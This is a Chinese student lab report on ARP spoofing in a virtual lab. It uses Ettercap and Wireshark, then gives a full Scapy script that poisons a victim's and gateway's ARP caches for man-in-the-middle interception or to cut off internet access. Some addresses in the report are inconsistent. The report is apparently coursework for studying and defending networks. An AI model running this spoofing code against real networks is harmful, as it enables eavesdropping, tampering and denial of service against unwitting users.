ARP欺骗课堂实验

实验目的

运行WinArpAttacker或Ettercap(二选一),通过WireShark等抓包工具,捕获ARP欺骗攻击的数据包,分析ARP攻击的原理。

实验环境

(1)攻击机:Kali-linux 2022.3

(2)靶机:windows xp

(3)软件:ettercap-0.8.31,wireshark

实验过程与结果

步骤一:搭建实验环境并查看虚拟机信息

1.配置攻击机Kali-linux 2022.3(自带ettercap)。

图1 打开攻击机kali

2.在kali虚拟机中右键选择”在这里打开终端”,使用ifconfig命令查看kali虚拟机网卡、ip地址、网关地址等信息。如图1.2所示,可知kali虚拟机的ip地址为192.168.204.134,Mac地址为00:0c:29:a5:82:6c。

图2 ifconfig命令查看kali虚拟机信息

3.配置靶机windows xp。

图3 打开靶机windows xp

4.在windows xp虚拟机中按”win+R”输入”cmd”打开命令行,使用命令ipconfig /all查看虚拟机网卡、ip地址、网关地址等信息。如图1.4所示,可知windows xp虚拟机的ip地址为192.168.204.135,默认网关为10.21.128.1,Mac地址为00:0c:29:5D:E8:C3。

图4 ipconfig /all命令查看xp虚拟机信息

5.两虚拟机实施ping通:

(1)kali PING windows xp

图5 kali ping通xp

(2)windows xp PING kali

图6 xp ping通kali

6.在靶机windows xp命令行中使用arp -a命令查看靶机被攻击前的arp信息。

图7 靶机被攻击前的arp信息

步骤二:使用ettercap进行攻击并分析ARP欺骗攻击原理

1.在kali中,使用命令sudo ettercap -G打开ettercap图形化界面。

图8 在kali中打开ettercap

2.选择当前网卡eth0后,点击右上角”√”后开始嗅探,点击搜索按钮扫描该网段的所有主机信息,再点击🔍右侧按钮在host list中查看扫描结果。

图9 当前网卡开始嗅探

图10 扫描该网段所有的主机信息

图11 在host list中查看扫描结果

3.分别将靶机windows xp的IP和网关地址设为目标1和目标2。

图12 设置目标1和目标2

4.在MITM菜单中选择ARP Poisoning,点击ok开始攻击。

图13 选择ARP Poisoning

图14 点击OK开始攻击

图15 显示ARP poisoning victims

5.在靶机windows xp中打开命令行输入”apr -a”命令,查看被arp投毒后的靶机arp信息。

图16 被arp投毒后的靶机arp信息

6.与被攻击前的靶机arp信息比较,发现Mac地址(Physical Address)由原Mac地址00:50:56:e8:44:a5变为攻击机kali的Mac地址00:0c:29:a5:82: 6c。

图17 比较被攻击前后靶机arp信息中的Mac地址

7.由此可知,在arp表下靶机的Mac地址已经变成了攻击者的Mac地址,则靶机的信息将全部被kali攻击机截获,并且攻击机可以向靶机发送篡改后的信息,由此实现arp欺骗中间人攻击,信息的保密性和完整性都将受到破坏。

步骤三:使用wireshark抓包分析ARP欺骗网络流量

1.在kali虚拟机中打开终端,输入”sudo wireshark”命令以root用户权限启动wireshark。

图18 打开wireshark

2.在嗅探过程中,选择接口”eth0”,点击左上角开始按钮进行抓包。

图19 wireshark开始抓包

3.查看捕获的数据包可以在协议Protocol一栏找到”ARP”即为ARP欺骗攻击的数据包,观察信息info一栏均为192.168.117.133(/2) at 00:0c:29:f1:f1:c4。

图20 应用发起arp欺骗攻击的数据包

4.点击展开Address Resolution Protocol(reply)查看ARP部分抓包细节。

图21-1 arp部分抓包细节

图21-2 arp部分抓包细节

图21-3 arp部分抓包细节

图21-4 arp部分抓包细节

5.由以上详细信息可以看到,wireshark抓到了kali攻击机(Mac地址为00:0c:29:a5:82:6c)向靶机windows xp网关地址(IP地址为192.168.204.135)发送ARP欺骗包。

(1)攻击机kali向靶机windows xp发送ARP包,包中的Mac地址为kali自己的Mac地址00:0c:29:a5:82:6c,但IP地址为靶机的IP地址192.168.204.135,以此欺骗过靶机。

图22 攻击机发送arp欺骗包

(2)在靶机存入的ARP缓存表中,靶机对应的IP所保存的是攻击机kali的Mac地址,因此发送给靶机windows xp的信息将可以被攻击机kali截获。

(3)最终发送给靶机的内容和靶机发送的内容都先经过攻击机kali,由此攻击机可以截获每次通信的内容,但不会破坏靶机正常通信。在此基础上,攻击机甚至还可以篡改通信所传输的内容,而不被靶机发现。

实验总结

通过本次Ettercap的ARP欺骗实验,我深入掌握了ARP协议的工作原理及其安全缺陷,并成功使用Ettercap工具实施了ARP欺骗攻击。在实验过程中,我不仅学会了发起攻击,还运用Wireshark抓包分析了ARP数据包的结构和欺骗后的网络流量变化。这一实践让我直观理解了中间人攻击的实现过程,增强了我对局域网安全风险的认识,也为我今后进一步学习网络攻防技术奠定了扎实基础。

ARP欺骗课后实验

实验目的

基于Winpcap(或其它网络开发包Libpcap/Jpcap/Scapy等)编写程序,对指定的目标IP地址进行ARP欺骗攻击。

实验环境

(1) 攻击机:Kali-linux 2022.3

(2) 靶机:windows xp

(3) 软件:ettercap-0.8.31,wireshark

实验过程与结果

步骤一:安装Scapy

1.在攻击机kali中打开终端,输入命令“sudo apt install python3-pip”安装pip3。

图1 kali安装pip3

2.在攻击机kali终端中输入命令“pip3 install Scapy”安装Scapy。

图2 kali安装Scapy

步骤二:python编写ARP欺骗程序

1.实验环境:攻击机:kali;靶机(受害者):windows xp

2.查看攻击机及靶机信息:首先通过靶机windows xp的ipconfig /all命令查看靶机的IP地址、Mac地址、网关等信息;通过攻击机kali的ifconfig命令查看攻击机的IP地址及Mac地址。

此部分信息同课上实验中两主机信息:

kali:IP地址:192.168.204.134;Mac地址:00:0c:29:a5:82:6c

windows xp本机:IP地址:192.168.204.135;Mac地址:00:0c:29:5D:E8:C3

图3 ipconfig /all查看靶机信息

windows xp网关:IP地址:192.168.204.135;Mac地址:00:50:56:e8:44:a5

图4 靶机受ARP欺骗攻击之前的ARP表

3.为了实现ARP欺骗,我们要构造ARP包并发送,因此首先需要了解ARP报文结构。

图5 ARP报文结构

硬件类型:表明ARP实现在何种类型的网络上。
协议类型:代表解析协议(上层协议)。一般是0800,即IP。
硬件地址长度:MAC地址长度,此处为6个字节。
协议地址长度:IP地址长度,此处为4个字节。
操作类型:代表ARP数据包类型。0表示ARP请求数据包,1表示ARP应答数据包。
源MAC地址:发送端MAC地址。
源IP地址:代表发送端协议地址(IP地址)。
目标MAC地址:目的端MAC地址(待填充)。
目标IP地址:代表目的端协议地址(IP地址)。

4.参照课上实验利用Ettercap实现Arp欺骗攻击的逻辑原理,结合Scapy使用方法,设计出ARP欺骗程序流程如下图所示:

图6 ARP欺骗程序流程图

5.Arp_Spoof函数:构造Arp欺骗包并发送至指定的目标IP地址。

(1)传入参数:目标IP地址target_ip、目标Mac地址target_mac、攻击机IP地址sender_ip.

(2)利用Scapy的ARP方法构造欺骗的Arp包。

其中,ARP方法各参数如下:

  • op:取值为1或2时,代表ARP请求或响应包,默认值为1
  • hwsrc:源Mac地址
  • psrc:源IP地址
  • hwdst:目的Mac地址
  • pdst:目的IP地址
1
spoofedarp = ARP(op=2, psrc=sender_ip, pdst=target_ip, hwdst=target_mac)

(3)构造了一个欺骗的ARP响应包spoofedarp,并将目的IP地址、Mac地址及源IP地址作为参数传入ARP方法。

1
send(spoofedarp, verbose=False)

(4)发送刚刚构造的ARP响应包,并置verbose为False表示运行时不显示详细信息。

图7 Arp_Spoof函数

6.Arp_Spoof函数:构造正常的Arp包并发送至指定的目标IP地址以将其Arp表恢复至原有正常状态。

(1)传入参数:目标IP地址target_ip、目标Mac地址target_mac、攻击机IP地址sender_ip、攻击机Mac地址sender_mac。

(2)构造正常的ARP响应包:

1
normalarp = ARP(op=2, hwsrc=sender_mac, psrc=sender_ip, hwdst=target_mac, pdst=target_ip)

构造了一个正常的ARP响应包normalarp,并将目的IP地址、Mac地址及源IP地址、源Mac地址作为参数传入ARP方法。

(3)发送ARP响应包:

1
send(normalarp, verbose=False)

发送刚刚构造的ARP响应包,并置verbose为False表示运行时不显示详细信息。

(4)打印提示信息:

1
print("ARP Table restored to normal for", target_ip)

打印输出已经将目的IP地址对应Arp表恢复至正常状态的提示信息。

图8 Arp_Restore函数

8.main函数:

1
2
_target1_ip = input(“Target1 IP:”)_
_target2_ip = input(“Target2 IP:”)_

首先由用户输入两个IP地址,将其分别设置为Target1和Target2.

1
2
3
4
5
_try:  
print("Target1 MAC:", target_mac)
except:
print("ERROR: Target machine did not respond ARP broadcast.")
quit()_

将靶机Mac地址设置为目标Mac地址,若设置失败则抛出异常。

1
2
3
4
5
6
_try:  
print("Sending spoofed ARP responses.")
while True:
#进行Arp欺骗中间人攻击
Arp_Spoof(target1_ip, target_mac, target2_ip) #欺骗靶机
Arp_Spoof(target2_ip, target_mac, target1_ip) #欺骗网关_

不断进行while循环向靶机和网关发送Arp欺骗包,进行中间人攻击。

(a)欺骗靶机与它通信的网关IP地址对应的物理地址是攻击机的Mac地址,由此靶机的Arp表中IP地址192.168.204.2对应的Mac地址由00:50:56:e8:44:a5修改为00:0c:29:a5:82:6c,靶机发送给网关的信息都将被攻击机截获。

(b)欺骗网关与它通信的靶机IP地址对应的物理地址是攻击机的Mac地址,由此网关的Arp表中IP地址192.168.204.135对应的Mac地址由00:0c:29:5d:e8:c3修改为00:0c:29:a5:82:6c,网关发送给靶机的信息都将被攻击机截获。

(c)由此,攻击机对靶机和网关都成功实施Arp欺骗,实现中间人攻击,截获双方通信内容而不影响其正常通信。

(4)恢复ARP表:

1
2
3
4
5
6
except:
print("ARP spoofing stopped.")
#恢复Arp表
Arp_Restore(target2_ip, target_mac, target1_ip, target_mac) #恢复网关Arp表
Arp_Restore(target1_ip, target_mac, target2_ip, target_mac) #恢复靶机Arp表
quit()

结束Arp欺骗攻击后,分别向靶机和网关发送正确的Arp包,使网关Arp表中靶机的物理地址恢复为00:0c:29:5d:e8:c3、靶机Arp表中网关的物理地址恢复为00:50:56:e8:44:a5,还原至正确状态。

图9 程序主函数main函数

8.最终编写完成的Arp欺骗攻击程序代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from scapy.all import *

target1_mac = "00:0c:29:5d:e8:c3" #靶机本机的Mac地址
target2_mac = "00:50:56:e8:44:a5" #网关的Mac地址
send_mac = "00:0c:29:a5:82:6c" #攻击机kali的Mac地址

#Arp欺骗
def Arp_Spoof(target_ip, target_mac, sender_ip):
#构造欺骗ARP包
spoofedarp = ARP(op=2, psrc=sender_ip, pdst=target_ip, hwdst=target_mac)
send(spoofedarp, verbose=False)

#Arp表恢复
def Arp_Restore(target_ip, target_mac, sender_ip, sender_mac):
#构造正常ARP包
normalarp = ARP(op=2, hwsrc=sender_mac, psrc=sender_ip, hwdst=target_mac, pdst=target_ip)
send(normalarp, verbose=False)
print("ARP Table restored to normal for", target_ip)

#主函数
def main():
#设置Target1和Target2
target1_ip = input("Target1 IP:")
target2_ip = input("Target2 IP:")

#获取靶机本机Mac地址
try:
print("Target1 MAC:", target1_mac)
except:
print("ERROR: Target1 did not respond ARP broadcast.")
quit()

#获取网关Mac地址
try:
print("Target2 MAC:", target2_mac)
except:
print("ERROR: Target2 did not respond ARP broadcast.")
quit()

try:
print("Sending spoofed ARP responses.")
while True:
#进行Arp欺骗中间人攻击
Arp_Spoof(target1_ip, target1_mac, target2_ip) #欺骗靶机
Arp_Spoof(target2_ip, target2_mac, target1_ip) #欺骗网关
except:
print("ARP spoofing stopped.")
#恢复Arp表
Arp_Restore(target1_ip, target1_mac, target2_ip, target2_mac) # 恢复靶机Arp表
Arp_Restore(target2_ip, target2_mac, target1_ip, target1_mac) #恢复网关Arp表
quit()

if __name__ == "__main__":
main()

步骤三 运行ARP欺骗程序

中间人攻击

1.在攻击机kali中输入命令“sudo su”进入管理员模式,然后在root权限下使用“echo 1 > /proc/sys/net/ipv4/ip_forward”打开IP转发功能后,输入“python3 ArpSpoofer.py”运行编写的ARP欺骗程序。

图10 运行ARP欺骗程序ArpSpoofer.py

2.Arp欺骗攻击正式开始前,在靶机windows xp打开命令行输入“arp -a”命令查看原始Arp表,可以看到此时网关的IP地址192.168.204.2所对应的Mac地址为00:50:56:e8:44:a5。

图11 Arp欺骗攻击前的靶机Arp表

3.分别输入靶机本机的IP地址192.168.204.135和网关的IP地址192.168.204.2,将其设置为目标IP地址Target1、Target2,回车程序读取靶机本机Mac地址和网关Mac地址,开始向靶机本机和网关发送Arp欺骗包进行Arp欺骗攻击。

图12 开始Arp欺骗攻击

4.Arp欺骗攻击进行过程中,在靶机命令行输入“arp -a”命令查看受到攻击后的靶机Arp表,发现此时网关的IP地址192.168.204.2所对应的Mac地址变为攻击机kali的Mac地址00:0c:29:a5:82:6c。由此可知,成功实施Arp欺骗修改了靶机的Arp表,使得靶机发往网关的信息均被攻击机kali截获,实现中间人攻击。

图13 受到Arp欺骗攻击后的靶机Arp表

5.在攻击机kali终端中按下ctrl+C停止当前Arp欺骗攻击,程序输出“ARP spoofing stopped.”,并执行接下来的代码恢复靶机本机及网关的Arp表。

图14 停止Arp欺骗攻击并恢复Arp表

6.攻击机Arp欺骗攻击程序结束后,在靶机命令行中输入“arp -a”命令再次查看恢复后的靶机Arp表。下图对比可知,靶机Arp表中网关IP地址192.168.204.2所对应的Mac地址由kali的Mac地址(00:0c:29:a5:82:6c)恢复回网关的Mac地址(00:50:56:e8:44:a5)。由此可知,结束Arp欺骗攻击后恢复Arp表成功。

图15 恢复后的靶机Arp表

禁止上网

1.在攻击机kali中输入命令“sudo su”进入管理员模式,然后在root权限下使用“echo 0 > /proc/sys/net/ipv4/ip_forward”关闭IP转发功能后,输入“python3 ArpSpoofer.py”运行编写的ARP欺骗程序。

图16 开始Arp欺骗攻击

2.Arp欺骗攻击正式开始前,在靶机windows xp打开命令行输入“ping www.baidu.com”能够ping通,说明靶机此时可以正常上网。

图17 靶机可以正常上网

3.分别输入网关的IP地址192.168.204.2和靶机本机的IP地址192.168.204.135,将其设置为目标IP地址Target1、Target2,回车程序读取靶机本机Mac地址和网关Mac地址,开始向网关和靶机本机发送Arp欺骗包进行Arp欺骗攻击。

图18 开始Arp欺骗攻击

4.Arp欺骗攻击过程中,再次在靶机命令行中输入“ping www.baidu.com”命令,此时如下图所示提示“Ping request could not find host www.baidu.com. Please check the name and try again.”。由此可知,靶机受到Arp欺骗攻击后无法上网。

图19 主机受到Arp欺骗攻击后无法上网

中间人攻击与禁止上网攻击的区别

1.中间人攻击:攻击机发送欺骗的Arp包欺骗靶机主机,将自己假扮为网关,使得靶机将希望发送给网关的通信内容全部发送给攻击机,由此攻击机实现中间人攻击,可以截获靶机和网关的通信内容。

2.禁止上网攻击:攻击机发送欺骗的Arp包欺骗网关,将自己假扮为靶机主机,使得网关将希望回复给主机的通信内容全部回复给攻击机,导致靶机无法受到网关的应答包无法正常上网,由此攻击机实现禁止上网攻击。

3.有以上分析可知,在实施中间人攻击时,将靶机主机IP地址设置为Target1、网关IP地址设置为Target2;在实施禁止上网攻击时,将网关IP地址设置为Tareget1、靶机主机IP地址设置为Target2.

4.在实施中间人攻击时需打开ip转发功能,而在禁止上网攻击中则需要关闭ip转发功能。

实验总结

这次实验,我使用Scapy手动构造ARP欺骗数据包,深入理解了ARP协议的数据结构及欺骗攻击的实现原理。在实验中,我严格按照ARP报文格式填充每个字段,包括硬件类型(Ethernet)、协议类型(IP)、MAC/IP地址长度、操作类型(ARP应答包)​等,确保数据包符合标准,能够成功欺骗目标主机。我掌握了ARP报文结构​,Scapy的使用等内容。这不仅提升了我的网络协议分析能力,也让我认识到ARP欺骗的严重性,进一步理解了防御措施(如静态ARP绑定、动态ARP检测)的重要性。未来,我将继续深入研究网络攻防技术,提高安全防护能力。

实验报告持续更新中,欢迎交流讨论!